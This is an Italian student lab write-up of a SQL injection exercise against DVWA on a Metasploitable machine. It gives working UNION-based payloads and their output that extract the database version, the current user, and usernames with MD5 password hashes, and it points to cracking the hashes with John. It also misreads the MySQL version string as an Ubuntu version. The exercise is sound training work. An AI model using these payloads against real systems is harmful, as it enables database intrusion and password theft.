

# [CONSEGNA SETTIMANA 6 LEZIONE 4]

## Attacco SQL Injection

L'attacco ai database viene chiamato **SQL Injection**, dove tramite delle **query** particolari è possibile andare a compromettere il database e recuperare importanti informazioni.

Nel nostro caso andremo a compromettere il database della macchina *metasploitable*, per la precisione **DVWA**.

Andremo quindi a recuperare: versione del **database**, **utenti** e **password**.

User ID:

  

```
ID: '%' or 0=0 union select null, version() #
First name: admin
Surname: admin

ID: '%' or 0=0 union select null, version() #
First name: Gordon
Surname: Brown

ID: '%' or 0=0 union select null, version() #
First name: Hack
Surname: Me

ID: '%' or 0=0 union select null, version() #
First name: Pablo
Surname: Picasso

ID: '%' or 0=0 union select null, version() #
First name: Bob
Surname: Smith

ID: '%' or 0=0 union select null, version() #
First name:
Surname: 5.0.51a-3ubuntu5
```

Tramite la query

```
'%' or 0=0 union select null, version() #
```

possiamo recuperare la versione della macchina su cui è hostato il database, nel nostro caso metasploitable si basa sulla versione di ubuntu 5.0.51a.

User ID:

  

```
ID: '%' or 0=0 union select null, user() #
First name: admin
Surname: admin

ID: '%' or 0=0 union select null, user() #
First name: Gordon
Surname: Brown

ID: '%' or 0=0 union select null, user() #
First name: Hack
Surname: Me

ID: '%' or 0=0 union select null, user() #
First name: Pablo
Surname: Picasso

ID: '%' or 0=0 union select null, user() #
First name: Bob
Surname: Smith

ID: '%' or 0=0 union select null, user() #
First name:
Surname: root@localhost
```

In maniera analoga, tramite la query

```
'%' or 0=0 union select null, user() #
```

possiamo recuperare tutti gli utenti presenti all'interno del database.

User ID:

  

```
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Pablo
Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99
```

Infine, tramite la query

```
'%' and 1=0 union select null,
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
```

possiamo recuperare le password associate ad ogni utente presente nel database. Da notare che le password sono criptate in codice hash md5, un semplice modo di poter recuperare il valore hash inverso può essere trovato tramite software dedicati come *john*.

Md5 hash  
calculated hash digest

5f4dcc3b5aa765d61d8327deb882cf99

Copy Hash

Md5 value  
Reversed hash value

password

Copy Value

Blame this record